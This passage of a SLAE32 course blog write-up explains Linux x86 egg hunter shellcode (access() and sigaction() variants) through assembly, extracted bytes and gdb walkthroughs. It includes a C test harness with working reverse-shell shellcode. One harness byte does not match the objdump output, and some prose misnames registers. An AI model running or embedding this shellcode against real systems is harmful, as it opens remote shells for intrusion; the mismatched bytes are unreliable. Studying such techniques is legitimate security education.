memory, identifying a valid page, and then iterating over each address in that valid page.<\/p>\n\n\n\n<p>The below pseudo-code sums up this concept programmatically:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\n\nfor i in pages:\n    if i is valid:\n        for j in addresses:\n            if j is egg:\n                \/\/ partial egg match found\n            else:\n                \/\/ go to next address\n    else:\n        \/\/ go to next page\n\n<\/pre><\/div>\n\n\n<p>We set a breakpoint on after the <strong>JNE<\/strong> instruction to fast-forward to when the egg hunter has located a match between <strong>EDX<\/strong> and the first half of the egg:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428205119.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>At this point in the program, the egg hunter has identified the first four bytes of the egg, and is now checking the next four bytes, as referenced by <strong>EDX + 0x4<\/strong>. If there is a match, the egg has been found, and the egg hunter can subsequently jump to <strong>EDX<\/strong> where the shellcode is located.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428205311.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>In this first case, only half of the egg was apparently matched. We get a view on this by examining the bytes located at the <strong>EDX<\/strong> register, and then <strong>EDX + 0x4<\/strong> which the second <strong>cmp<\/strong> instruction is checking.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428205753.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>As a result, the <strong>JNE<\/strong> is taken.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428210011.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We continue to our breakpoint on the <strong>CMP<\/strong> instruction again, and this time we inspect the <strong>EDX<\/strong> and <strong>EDX + 0x4<\/strong> registers, to find that both halves of the egg were found. Nice!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428210248.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>This will now satisfy the condition of the <strong>CMP<\/strong> instruction, meaning the subsequent <strong>JNE<\/strong> will not be taken.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428210415.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Finally, the egg hunter proceeds to the <strong>JMP EDX<\/strong> statement:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428210607.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Which executes our second stage reverse shell shellcode:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428210734.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>With our analysis of the first <strong>access()<\/strong> egg hunter implementation complete, we next move on to looking at the changes in the second implementation.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 2 (access())<\/h3>\n\n\n\n<p>According to the reference paper, the second <strong>access()<\/strong> egg hunter is characterised by the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Size:<\/strong> 35 bytes<\/li>\n\n\n\n<li><strong>Targets:<\/strong> Linux<\/li>\n\n\n\n<li><strong>Egg Size:<\/strong> 8 bytes<\/li>\n\n\n\n<li><strong>Executable Egg:<\/strong> No<\/li>\n\n\n\n<li><strong>Speed:<\/strong> 7.5 seconds (0x0 . . . 0xbfffebd4)<\/li>\n<\/ul>\n\n\n\n<p>The assembly instructions for the second <strong>access()<\/strong> egg hunter are as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n00000000 31D2 xor edx,edx  \n00000002 6681CAFF0F or dx,0xfff  \n00000007 42 inc edx  \n00000008 8D5A04 lea ebx,&#x5B;edx+0x4]  \n0000000B 6A21 push byte +0x21  \n0000000D 58 pop eax  \n0000000E CD80 int 0x80  \n00000010 3CF2 cmp al,0xf2  \n00000012 74EE jz 0x2  \n00000014 B890509050 mov eax,0x50905090  \n00000019 89D7 mov edi,edx  \n0000001B AF scasd  \n0000001C 75E9 jnz 0x7  \n0000001E AF scasd  \n0000001F 75E6 jnz 0x7  \n00000021 FFE7 jmp edi\n<\/pre><\/div>\n\n\n<p>Overall, this implementation has some minor differences to the original. We will look through these in each step of the shellcode below.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h4 class=\"wp-block-heading\">Comparisons with Egg hunter 1<\/h4>\n\n\n\n<p>To begin, the <strong>EDX<\/strong> register is cleared and <strong>DX<\/strong> is set to the last address in the memory page, as with the first implementation:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        xor edx, edx;   Clear EDX register\n\n        or dx, 0xfff;   Go to last address in memory page\n\n        inc edx;    Increase the memory counter by 1\n<\/pre><\/div>\n\n\n<p>Next, rather than save the register state with the <strong>pusha<\/strong> instruction, this implementation first loads <strong>EDX + 0x4<\/strong> into <strong>EBX<\/strong>, and arranges for the syscall to <strong>access()<\/strong>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        lea ebx,&#x5B;edx+0x4];  Set EBX to the pathname pointer\n\n        push byte +0x21;    Push 0x21 to the stack\n\n        pop eax;    POP the 0x21 value into EAX register\n\n        int 0x80;   Execute access() syscall\n\n        cmp al, 0xf2;   Check if result is an access violation\n<\/pre><\/div>\n\n\n<p>The main change in implementation occurs in the checking procedure, when the shellcode determines if a memory page is valid, or an address in that page matches the egg.<\/p>\n\n\n\n<p>This implementation uses the <strong>scasd<\/strong> instruction, which compares the contents of <strong>EAX<\/strong> with <strong>EDI<\/strong>. As scasd increments the <strong>EDI<\/strong> register by 0x4 after each comparison.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        jz _loop_inc_page;  If access violation, jump to next page in memory\n\n        mov eax, 0x50905090;    Move the egg pattern into EAX register\n\n        mov edi, edx;   Move the memory page to be scanned into EDI\n\n        scasd;  Compare EAX and EDI for first half of egg\n\n        jnz _loop_inc_one;  If no match, increment memory counter by one\n\n        scasd;  Compare EAX and EDI for second half of egg\n\n        jnz _loop_inc_one;  If no match, increment memory counter by one\n\n        jmp edi;    If match, jmp to memory address containing egg\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 2 assembly code<\/h3>\n\n\n\n<p>The complete assembly implementation of the second <strong>access()<\/strong> egg hunter is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n; egg_hunter_access_2_x86.nasm\n; Author: Jack McBride (PA-6483)\n; Website: https:\/\/jacklgmcbride.co.uk\n;\n; Purpose: SLAE32 exam assignment\n;\n; Assignment 3: Linux x86 Egg Hunter Shellcode\n\nglobal _start\n\nsection .text\n\n_start:\n\n_setup:\n\n        xor edx, edx;                   Clear EDX register\n\n_loop_inc_page:\n\n        or dx, 0xfff;                   Go to last address in the memory page\n\n_loop_inc_one:\n\n        inc edx;                        Increase the memory counter by 1\n\n_loop_check:\n\n        lea ebx,&#x5B;edx+0x4];              Set EBX to the pathname pointer\n\n        push byte +0x21;                Push 0x21 to the stack\n\n        pop eax;                        POP the 0x21 value into EAX register\n\n        int 0x80;                       Execute access() syscall\n\n        cmp al, 0xf2;                   Check if result is an access violation\n\n_loop_check_valid:\n\n        jz _loop_inc_page;              If access violation, jump to next page in memory\n\n        mov eax, 0x50905090;            Move the egg pattern into EAX register\n\n        mov edi, edx;                   Move the memory page to be scanned into EDI\n\n        scasd;                          Compare EAX and EDI for first half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n\n        scasd;                          Compare EAX and EDI for second half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n\n_matched:\n\n        jmp edi;                        If match, jmp to memory address containing egg\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Testing the second egg hunter<\/h3>\n\n\n\n<p>Now that we have our assembly code completed, we can compile the egg hunter with nasm and check it works correctly.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# nasm -f elf32 -o egg_hunter_access_2_x86.o egg_hunter_access_2_x86.nasm\n\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# ld -o egg_hunter_access_2_x86 egg_hunter_access_2_x86.o\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428214542.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We extract the raw shellcode bytes using objdump:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# objdump -d egg_hunter_access_2_x86 |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'\n&quot;\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x8d\\x5a\\x04\\x6a\\x21\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xee\\xb8\\x90\\x50\\x90\\x50\\x89\\xd7\\xaf\\x75\\xe9\\xaf\\x75\\xe6\\xff\\xe7&quot;\n<\/pre><\/div>\n\n\n<p>We modify shellcode.c to use the second egg hunter shellcode:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char egghunter&#x5B;] = \\\n&quot;\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x8d\\x5a\\x04\\x6a\\x21\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xee\\xb8\\x90\\x50\\x90\\x50\\x89\\xd7\\xaf\\x75\\xe9\\xaf\\x75\\xe6\\xff\\xe2&quot;;\n\nunsigned char code&#x5B;] = \\\n&quot;\\x90\\x50\\x90\\x50\\x90\\x50\\x90\\x50\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x31\\xff\\xbf\\x3f\\x57\\x96\\x68\\x83\\xf7\\xff\\x31\\xc9\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\x52\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80&quot;;\n\nint main()\n{\n        printf(&quot;Egg hunter Length: %d\\n&quot;, strlen(egghunter));\n        printf(&quot;Shellcode Length: %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())egghunter;\n\n        ret();\n}\n<\/pre><\/div>\n\n\n<p>We compile the shellcode using gcc:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\n<\/pre><\/div>\n\n\n<p>We set up a netcat listener, execute the compiled shellcode binary and obtain a reverse shell. This time we note that the printed egg hunter shellcode size is smaller.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428214840.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 2 analysis<\/h3>\n\n\n\n<p>Next, we inspect the second egg hunter implementation using gdb. We will start with the disassemble instruction:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428224612.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>As with the previous implementation, the <strong>EDX<\/strong> register is set up to iterate over the memory pages and address, and during each system call to <strong>access()<\/strong>, the current page is moved into <strong>EBX<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428224946.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We set a breakpoint immediately after the first <strong>JE<\/strong> instruction, which checks if the current memory page is valid.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428225134.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We continue and hit the instruction where the egg is moved into the <strong>EAX<\/strong> register:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428225247.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>With the egg in <strong>EAX<\/strong>, we note that the current memory address is moved from <strong>EDX<\/strong> into <strong>EDI<\/strong> to be used with the upcoming <strong>scasd<\/strong> instruction:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428225433.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Similar to the comparison carried out in the previous egg hunter, <strong>scasd<\/strong> compares whether the values pointed to by the address in <strong>EAX<\/strong> and <strong>EDI<\/strong> are equal. If not, the <strong>ZF<\/strong> is not flag. Subsequently, this means the shellcode takes the <strong>JNE<\/strong> back to iterate to the next address in the page.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428225546.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We set a breakpoint to the next instruction to fast forward to a valid match with the egg:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428225955.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>In the above case, the first check has passed, and the second check is being made. From the register values, we see that <strong>EDI<\/strong> is not pointing to the egg, indicating only a half match.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428230101.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>As a result, the <strong>JNE<\/strong> is taken:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428230153.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>We set a breakpoint on the final <strong>jmp EDX<\/strong> instruction, and resume execution. This time, both halves of the egg are matched. Execution now continues the second stage of the payload. Success!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428230400.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Finally, we look at a different implementation of the egg hunter shellcode, which instead leverages the <strong>sigaction()<\/strong> syscall.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunters using sigaction()<\/h3>\n\n\n\n<p>The <strong>sigaction()<\/strong> call is used to validate multiple addresses at a single time, by leveraging the kernel's <strong>verify_area<\/strong> routine.<\/p>\n\n\n\n<p>According to the system call reference file in \/usr\/include\/i386-linux-gnu\/asm\/unistd_32.h, the syscall number for <strong>sigaction()<\/strong> is 67.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428230906.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>Before we go any further, we look into the <strong>sigaction()<\/strong> syscall's man page to get a view on how it works.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/jacklgmcbride.co.uk\/blog\/wp-content\/uploads\/2022\/04\/Pasted-image-20220428231322.png\" alt=\"\"\/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>The <strong>sigaction()<\/strong> call uses the following function header:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nint sigaction(int signum, const struct sigaction *act,\n                     struct sigaction *oldact);\n<\/pre><\/div>\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man Reference<\/th><\/tr><\/thead><tbody><tr><td>sigaction<\/td><td>signum<\/td><td>Specifies the signal<\/td><\/tr><tr><td>signation<\/td><td>act<\/td><td>Pointer for validating memory regions<\/td><\/tr><tr><td>signation<\/td><td>oldact<\/td><td>Previous act<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The structure of <strong>sigaction()<\/strong> itself is defined as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nstruct sigaction {\n               void     (*sa_handler)(int);\n               void     (*sa_sigaction)(int, siginfo_t *, void *);\n               sigset_t   sa_mask;\n               int        sa_flags;\n               void     (*sa_restorer)(void);\n           };\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 3 (sigaction())<\/h3>\n\n\n\n<p>According to the reference paper, the <strong>sigaction()<\/strong> egg hunter is characterised by the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Size:<\/strong> 30 bytes<\/li>\n\n\n\n<li><strong>Targets:<\/strong> Linux<\/li>\n\n\n\n<li><strong>Egg Size:<\/strong> 8 bytes<\/li>\n\n\n\n<li><strong>Executable Egg:<\/strong> No<\/li>\n\n\n\n<li><strong>Speed:<\/strong> 2.5 seconds (0x0 . . . 0xbfffebd4)<\/li>\n<\/ul>\n\n\n\n<p>The reference assembly instructions for the <strong>sigaction()<\/strong> egg hunter are as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n00000000 6681C9FF0F or cx,0xfff  \n00000005 41 inc ecx  \n00000006 6A43 push byte +0x43  \n00000008 58 pop eax  \n00000009 CD80 int 0x80  \n0000000B 3CF2 cmp al,0xf2  \n0000000D 74F1 jz 0x0  \n0000000F B890509050 mov eax,0x50905090  \n00000014 89CF mov edi,ecx  \n00000016 AF scasd  \n00000017 75EC jnz 0x5  \n00000019 AF scasd  \n0000001A 75E9 jnz 0x5  \n0000001C FFE7 jmp edi\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Initial setup<\/h3>\n\n\n\n<p>The <strong>sigaction()<\/strong> egghunter begins by setting <strong>CX<\/strong> to the last address in the memory page, as in the <strong>access()<\/strong> implementation:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        or cx, 0xfff;   Go to last address in the memory page\n\n        inc ecx;    Increment the memory counter by 1\n<\/pre><\/div>\n\n\n<p>Next, the syscall number for <strong>sigaction()<\/strong> is pushed to the stack and popped into <strong>EAX<\/strong>, where it is called.<\/p>\n\n\n\n<p>The result of <strong>sigaction()<\/strong> is then checked in <strong>AL<\/strong> by comparison with <strong>0xf2<\/strong>, which indicates the memory page is invalid:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n        push byte +0x43;    Push the syscall number 67 in hex to stack\n\n        pop eax;    POP the syscall number to the EAX register\n\n        int 0x80;   Execute sigaction() syscall\n\n        cmp al, 0xf2;   Check if result is an access violation\n<\/pre><\/div>\n\n\n<p>Similarly to the second <strong>access()<\/strong> egg hunter shellcode, <strong>sigaction()<\/strong> implementation uses the <strong>scasd<\/strong> instruction to compare the contents of <strong>EAX<\/strong> and <strong>EDI<\/strong><\/p>\n\n\n\n<p>Largely, the rest of this code resembles what we've seen in the previous egg hunter implementations using <strong>access()<\/strong>.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n        jz _loop_inc_page;  If access violation, jump to next page in memory\n\n        mov eax, 0x50905090;    Move the egg pattern into EAX register\n\n        mov edi, ecx;   Move the memory page to be scanned into EDI\n\n        scasd;  Compare EAX and EDI for first half of egg\n\n        jnz _loop_inc_one;  If no match, increment memory counter by one\n\n        scasd;  Compare EAX and EDI for second half of egg\n\n        jnz _loop_inc_one;  If no match, increment memory counter by one\n\n        jmp edi;    If match, jmp to memory address containing egg\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Egg hunter 3 assembly code<\/h3>\n\n\n\n<p>The complete assembly code for the <strong>sigaction()<\/strong> egg hunter is as follows:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n; egg_hunter_sigaction_x86.nasm\n; Author: Jack McBride (PA-6483)\n; Website: https:\/\/jacklgmcbride.co.uk\n;\n; Purpose: SLAE32 exam assignment\n;\n; Assignment 3: Linux x86 Egg Hunter Shellcode\n\nglobal _start\n\nsection .text\n\n_start:\n\n_loop_inc_page:\n\n        or cx, 0xfff;                   Go to last address in the memory page\n\n_loop_inc_one:\n\n        inc ecx;                        Increment the memory counter by 1\n\n_loop_check:\n\n        push byte +0x43;                Push the syscall number 67 in hex to stack\n\n        pop eax;                        POP the syscall number to the EAX register\n\n        int 0x80;                       Execute sigaction() syscall\n\n        cmp al, 0xf2;                   Check if result is an access violation\n\n_loop_check_valid:\n\n        jz _loop_inc_page;              If access violation, jump to next page in memory\n\n        mov eax, 0x50905090;            Move the egg pattern into EAX register\n\n        mov edi, ecx;                   Move the memory page to be scanned into EDI\n\n        scasd;                          Compare EAX and EDI for first half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n\n        scasd;                          Compare EAX and EDI for second half of egg\n\n        jnz _loop_inc_one;              If no match, increment memory counter by one\n\n_matched:\n\n        jmp edi;                        If match, jmp to memory address containing egg\n<\/pre><\/div>\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">Testing the third egg hunter<\/h3>\n\n\n\n<p>Now that we have our assembly code completed, we can compile the egg hunter with nasm and check it works correctly.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# nasm -f elf32 -o egg_hunter_sigaction_x86.o egg_hunter_sigaction_x86.nasm \n\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# ld -o egg_hunter_sigaction_x86 egg_hunter_sigaction_x86.o\n<\/pre><\/div>\n\n\n<p>We extract the raw shellcode using objdump:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n\u250c\u2500\u2500(root\u327fkali)-&#x5B;\/home\/jack\/SLAE32\/Assignment 3: Egg Hunter Shellcode]\n\u2514\u2500# objdump -d egg_hunter_sigaction_x86 |grep '&#x5B;0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/&quot;\/'|sed 's\/$\/&quot;\/g'\n&quot;\\x66\\x81\\xc9\\xff\\x0f\\x41\\x6a\\x43\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xf1\\xb8\\x90\\x50\\x90\\x50\\x89\\xcf\\xaf\\x75\\xec\\xaf\\x75\\xe9\\xff\\xe7&quot;\n<\/pre><\/div>\n\n\n<p>We modify shellcode.c to use the third egg hunter shellcode:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char egghunter&#x5B;] = \\\n&quot;\\x66\\x81\\xc9\\xff\\x0f\\x41\\x6a\\x43\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xf1\\xb8\\x90\\x50\\x90\\x50\\x89\\xcf\\xaf\\x75\\xec\\xaf\\x75\\xe9\\xff\\xe7&quot;;\n\nunsigned char code&#x5B;] = \\\n&quot;\\x90\\x50\\x90\\x50\\x90\\x50\\x90\\x50\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x01\\x31\\xc9\\x51\\x6a\\x01\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x31\\xd2\\x89\\xc2\\x31\\xc0\\xb0\\x66\\x31\\xdb\\xb3\\x03\\x31\\xff\\xbf\\x3f\\x57\\x96\\x68\\x83\\xf7\\xff\\x31\\xc9\\x57\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x10\\x56\\x52\\x89\\xe1\\xcd\\x80\\x52\\xb0\\x3f\\x5b\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\xb1\\x01\\xcd\\x80\\xb0\\x3f\\xb1\\x02\\xcd\\x80\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80&quot;;\n\nint main()\n{\n        printf(&quot;Egg hunter Length: %d\\n&quot;, strlen(egghunter));\n        printf(&quot;Shellcode Length: %d\\n&quot;, strlen(code));\n\n        int (*ret)() = (int(*)())egghunter;\n\n        ret();\n}\n<\/pre><\/div>\n\n\n<p>We compile the shellcode using 